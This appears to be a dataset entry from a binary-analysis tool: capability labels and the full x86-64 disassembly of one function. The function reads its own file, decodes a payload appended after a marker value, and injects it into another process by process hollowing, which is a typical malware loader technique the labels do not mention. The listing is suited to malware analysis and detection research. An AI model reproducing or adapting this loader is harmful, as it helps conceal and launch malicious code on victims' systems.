Function at 0x40141c
Capabilities:
Accept command line arguments
Get file size
Read file on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8c8]
sub rsp, 0x9a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r14d, r14d
lea rdx, [rbp - 0x80]
lea ecx, [r14 + 0x2b]
mov dword [0x004096d0], r14d
mov dword [0x004096d4], r14d
mov qword [0x00409738], rax
call fcn.00402e64
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x401954
call fcn.00402544
mov r13d, r14d
lea eax, [r14 + 0x40]
dec rax
mov byte [rsp + rax + 0x40], r14b
jne 0x40148c
lea rdx, [rbp + 0x690]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x690]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x401954
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x40194b
test eax, eax
jne 0x401502
mov rdi, r14
jmp 0x401552
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x40194b
lea r9, [rbp + 0x8d0]
mov r8d, ebx
mov rdx, rax
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40193a
cmp dword [rbp + 0x8d0], ebx
jne 0x40193a
mov rcx, r14
lea rax, [0x004072f0]
mov al, byte [rcx + rax]
inc rcx
mov byte [rbp + rcx + 0xaf], al
cmp rcx, 0x110
jb 0x401555
add rbx, 0xfffffffffffffff4
add rbx, rdi
mov rax, rbx
lea rcx, [rbx + 0xc]
cmp rbx, rcx
ja 0x401599
cmp dword [rax], 0x57d95e12
je 0x401614
inc rax
cmp rax, rcx
jbe 0x401585
mov esi, r14d
mov rbx, r14
mov r12d, esi
test rbx, rbx
je 0x40161c
test esi, esi
je 0x40160f
mov edx, dword [r12 + rbx + 8]
mov rcx, rbx
call fcn.004010dc
cmp dword [r12 + rbx + 4], eax
jne 0x40161c
mov rcx, r14
mov al, byte [rbp + rcx + 0xb0]
inc rcx
mov byte [rbp + rcx - 0x61], al
cmp rcx, 0x102
jb 0x4015c2
lea r8, [rbp - 0x60]
mov edx, esi
mov rcx, rbx
call fcn.0040116c
mov rcx, r12
call fcn.00401960
mov r14, rax
test rax, rax
je 0x40161c
xor ecx, ecx
test esi, esi
je 0x40160c
mov al, byte [rcx + rbx]
mov byte [rcx + r14], al
inc rcx
cmp rcx, r12
jb 0x4015fd
mov r13d, esi
xor r12d, r12d
jmp 0x401634
mov esi, dword [rbx + 8]
sub rbx, rsi
jmp 0x40159f
mov rcx, qword [0x00409738]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r12d, r12d
mov r14d, r12d
test rdi, rdi
je 0x40164a
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15, r15
je 0x401658
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x401954
test r13d, r13d
je 0x401954
lea rcx, [rbp + 0x8d0]
mov r8d, r13d
mov rdx, r14
call fcn.00402b98
mov rsi, qword [rbp + 0x8d0]
test rsi, rsi
je 0x401926
lea r9, [rbp + 0x8d0]
mov rcx, rsi
mov dword [rbp + 0x8d0], r12d
call fcn.00402aec
mov qword [rsp + 0x78], rax
cmp dword [rbp + 0x8d0], r12d
je 0x401914
test rax, rax
je 0x401914
call fcn.004011e0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
call fcn.00402ce8
mov qword [rsp + 0x40], rax
test rax, rax
je 0x401900
mov r13d, 1
lea rcx, [rsp + 0x40]
mov ebx, r13d
mov qword [rbp + 0x8d0], r12
mov dword [rbp + 0x1f0], 0x10000b
call fcn.004013b4
test eax, eax
je 0x4018d5
mov rcx, qword [rsp + 0x78]
mov eax, 0x5a4d
mov qword [rsp + 0x60], rcx
cmp word [rcx], ax
jne 0x4018ac
movsxd rax, dword [rcx + 0x3c]
lea rdx, [rbp + 0x1c0]
add rax, rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
call qword [0x00409728]
mov rdx, qword [rbp + 0x248]
mov rcx, qword [rsp + 0x48]
lea r8, [rbp + 0x8d0]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [0x00409718]
mov rdx, qword [rsp + 0x68]
mov eax, dword [rbp + 0x8d0]
cmp rax, qword [rdx + 0x30]
jne 0x401790
mov rdx, qword [rbp + 0x8d0]
mov rcx, qword [rsp + 0x48]
call qword [0x00409708]
mov rdx, qword [rsp + 0x68]
mov r8d, dword [rdx + 0x50]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rdx + 0x30]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [0x00409730]
mov rcx, qword [rsp + 0x48]
mov rdi, rax
test rax, rax
je 0x4018b1
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rdx, rdi
mov r9d, dword [rax + 0x54]
mov qword [rsp + 0x20], r12
call qword [0x004096f8]
test eax, eax
js 0x4018ac
mov r8, qword [rsp + 0x68]
mov r15d, r12d
cmp r12w, word [r8 + 6]
jae 0x40184f
mov rax, qword [rsp + 0x60]
mov r10, qword [rsp + 0x78]
mov qword [rsp + 0x20], r12
movsxd rdx, dword [rax + 0x3c]
mov eax, r15d
lea rcx, [rax + rax*4]
lea rax, [r10 + rdx]
lea rcx, [rcx + 0x21]
lea r9, [rax + rcx*8]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], r9
mov r8d, dword [r9 + 0x14]
mov edx, dword [r9 + 0xc]
mov r9d, dword [r9 + 0x10]
add r8, r10
add rdx, rdi
call qword [0x004096f8]
mov r8, qword [rsp + 0x68]
add r15d, r13d
movzx eax, word [r8 + 6]
cmp r15d, eax
jb 0x4017f5
mov eax, dword [r8 + 0x28]
mov rdx, qword [rbp + 0x248]
mov rcx, qword [rsp + 0x48]
add eax, edi
add r8, 0x30
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
mov qword [rbp + 0x240], rax
call qword [0x004096f8]
test eax, eax
js 0x4018ac
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x1c0]
call qword [0x004096e0]
test eax, eax
js 0x4018ac
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [0x004096d8]
test eax, eax
jns 0x4018bd
mov rcx, qword [rsp + 0x48]
mov edx, r13d
call qword [0x004096e8]
mov ebx, r12d
mov rcx, qword [rsp + 0x50]
call qword [0x00409710]
mov rcx, qword [rsp + 0x48]
call qword [0x00409710]
jmp 0x4018d8
mov ebx, r12d
test ebx, ebx
jne 0x4018ec
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4016e4
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x00409738]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x00409738]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x00409738]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x00409738]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401954
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]